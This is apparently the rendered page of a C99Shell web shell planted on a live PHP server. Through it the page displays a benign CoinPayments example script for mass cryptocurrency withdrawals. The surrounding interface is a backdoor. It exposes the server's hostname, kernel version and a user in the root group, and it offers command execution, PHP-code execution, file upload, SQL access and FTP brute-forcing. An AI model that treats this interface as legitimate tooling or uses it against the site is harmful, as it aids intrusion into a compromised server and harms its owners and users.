!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/coinpaymentsnet/coinpayments-php/examples/   drwxr-xr-x
Free 28.98 GB of 117.98 GB (24.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     mass_withdrawal.php (2.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('../src/Coinpayments.php');
require(
'../src/keys.php');

/** Scenario: Create a mass withdrawal, demonstrating different values for each withdrawal. **/

// Create a new API wrapper instance
$cps_api = new CoinpaymentsAPI($private_key$public_key'json');

// Setup the withdrawals array values, each as a nested array with it's own unique key.
// The key can contain ONLY a-z, A-Z, and 0-9.
// Withdrawals with empty keys or containing other characters will be silently ignored.
$withdrawals = [
    
'wd1' => [
        
'amount' => 5,
        
'add_tx_fee' => 0,
        
'currency' => 'LTCT',
        
'currency2' => 'XRP',
        
'address' => 'fakeAddressForDemonstration',
        
'note' => 'Testing the note field'
    
],
    
'wd2' => [
        
'amount' => 10,
        
'add_tx_fee' => 1,
        
'currency' => 'LTCT',
        
'currency2' => 'XEM',
        
'pbntag' => '$AnExamplePayByName'
    
],
    
'wd3' => [
        
'amount' => 15,
        
'add_tx_fee' => 0,
        
'currency' => 'LTCT',
        
'address' => 'fakeAddressForDemonstration',
        
'ipn_url' => 'https://a-custom-ipn-url.com/ipn_handler_script.php'
    
]
];

// Attempt the mass withdrawal API call
try {
    
$mass_withdrawal $cps_api->CreateMassWithdrawal($withdrawals);
} catch (
Exception $e) {
    echo 
'Error: ' $e->getMessage();
    exit();
}

// Check the result of the API call and generate a result output
if ($mass_withdrawal["error"] == "ok") {
    
$output '<table><tbody><tr><td>Withdrawal Key</td><td>Error?</td><td>ID</td><td>Status</td><td>Amount</td></tr>';
    foreach (
$mass_withdrawal['result'] as $single_withdrawal_result => $single_withdrawal_result_array) {
        if (
$single_withdrawal_result_array['error'] == 'ok') {
            
$this_id $single_withdrawal_result_array['id'];
            
$this_status $single_withdrawal_result_array['status'];
            
$this_amount $single_withdrawal_result_array['amount'];
            
$output .= '<tr><td>' $single_withdrawal_result '</td><td>ok</td><td>' $this_id '</td><td>' $this_status '</td><td>' $this_amount '</td></tr>';
        } else {
            
$this_error $single_withdrawal_result_array['error'];
            
$output .= '<tr><td>' $single_withdrawal_result '</td><td>' $this_error '</td><td>n/a</td><td>n/a</td><td>n/a</td></tr>';
        }
    }
    
$output .= '</tbody></table>';
    echo 
$output;
} else {
    echo 
$mass_withdrawal["error"];
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--